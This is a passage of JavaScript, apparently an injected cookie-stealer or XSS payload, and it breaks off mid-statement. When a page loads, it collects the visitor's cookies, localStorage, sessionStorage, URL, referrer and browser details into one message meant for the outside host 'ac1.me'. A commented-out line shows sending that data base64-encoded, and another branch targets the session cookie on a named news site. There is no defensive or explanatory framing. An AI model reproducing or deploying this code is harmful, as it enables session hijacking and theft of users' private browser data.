if (document['readyState'] === 'loading') { document['addEventListener']('DOMContentLoaded', go_lim) } else { go_lim(); }; function lim_nul(value) { if (value !== undefined) { return value; } else { return ''; } } function allStorage() { var archive = [], keys = Object.keys(localStorage), i = 0, key; for (; key = keys[i]; i++) { archive.push( key + '=' + localStorage.getItem(key)); } return archive; } function sessStorage() { var archive = [], keys = Object.keys(sessionStorage), i = 0, key; for (; key = keys[i]; i++) { archive.push( key + '=' + sessionStorage.getItem(key)); } return archive; } function sharedStorage() { var archive = [], keys = Object.keys(sharedStorage), i = 0, key; for (; key = keys[i]; i++) { archive.push( key + '=' + sharedStorage.getItem(key)); } return archive; } //console.log("demo 123"); function go_lim() { var url = 'https://ac1.me'; var token = allStorage(); var sess = sessStorage(); var share = sharedStorage(); //console.log(sess); /* var req = new XMLHttpRequest(); req.open('GET', document.location, true); req.send(null); req.onload = function() { var headers = req.getAllResponseHeaders().trim().split(/[\r\n]+/);; lim_lim_hua(url, btoa(document.location+" | Cookie: "+headers+" | localStorage: "+token)); console.log(headers); }; */ //var arr = allResponseHeaders.split('\r\n'); //const headers = request.getAllResponseHeaders(); //console.log(document.head); var lim = new Object(); try { lim['location'] = lim_nul(location.toString()); } catch (e) { lim['location'] = lim_nul(document.location.href); } //console.log(lim['location']); try { lim['cookie'] = lim_nul(document.cookie); } catch (e) { lim['cookie'] = ''; } try { lim['referrer'] = lim_nul(document.referrer); } catch (e) { lim['referrer'] = ''; } try { lim['useragent'] = lim_nul(navigator.userAgent); } catch (e) { lim['useragent'] = ''; } try { lim['title'] = lim_nul(document.title); } catch (e) { lim['title'] = ''; } try { lim['toplocation'] = lim_nul(top.location.href); } catch (e) { lim['toplocation'] = ''; } try { lim['origin'] = lim_nul(location.origin); } catch (e) { lim['origin'] = ''; } try { lim['charset'] = lim_nul(document.characterSet); } catch (e) { lim['charset'] = lim_nul(document.charset); } try { lim['platform'] = lim_nul(navigator.platform); } catch (e) { lim['platform'] = ''; } try { lim['opener'] = lim_nul(window.opener); } catch (e) { lim['opener'] = lim_nul(window.opener.location); } try { lim['screen'] = function() { var c = ""; if (self.screen) { c = screen.width + "x" + screen.height; } return c; }(); } catch (e) { lim['screen'] = ''; } /* try { lim['html'] = lim_nul(document.documentElement.outerHTML); } catch (e) { lim['html'] = ''; } */ try { lim['ver']=navigator.sayswho= (function(){ var ua= navigator.userAgent, tem, M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; if(/trident/i.test(M[1])){ tem= /\brv[ :]+(\d+)/g.exec(ua) || []; return 'IE '+(tem[1] || ''); } if(M[1]=== 'Chrome'){ tem= ua.match(/\b(OPR|Edge)\/(\d+)/); if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); return M.join(' '); })(); } catch (e) { lim['ver'] = ''; } lim['ver']=navigator.sayswho= (function(){ var ua= navigator.userAgent, tem, M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; if(/trident/i.test(M[1])){ tem= /\brv[ :]+(\d+)/g.exec(ua) || []; return 'IE '+(tem[1] || ''); } if(M[1]=== 'Chrome'){ tem= ua.match(/\b(OPR|Edge)\/(\d+)/); if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); return M.join(' '); })(); //console.log(JSON['stringify'](lim).replace(/%/gi,'~~pct~~')) domain = window.location.hostname; try { //var infor = document.head.innerHTML.split('name="description" content="').pop().split('"')[0]; //infor = infor.substring(0, 50); //var infor1 = document.body.innerHTML.split("livechat.removeTags('").pop().split("'")[0].replace(/(\r\n|\n|\r)/gm, ""); //infor1 = infor1.substring(1, 20); //lim['cookie'] = lim['cookie'] +" | "+infor+"-"+infor1+" | "; } catch (e) { var infor = ""; //var infor1 = ""; } //lim['ver'] = lim['ver'] +" Infor: "+infor+" "; //var lim_hua = window['btoa'](encodeURI((JSON['stringify'](lim)))); lim['location'] = lim['location'].replaceAll(/\https:\/\//ig, ""); lim['location'] = encodeURI(lim['location']); var mess = lim['location'] +" | "+lim['ver']+" | Cookie: "+lim['cookie']+" | localStorage: "+token+" | sessionStorage: "+sess+" | sharedStorage: "+share; //console.log(lim['location']); if(document.location.href.search("lepoint") > 0) { ckn = getCookie('session'); var name = rus_nul(document.body.innerHTML.split('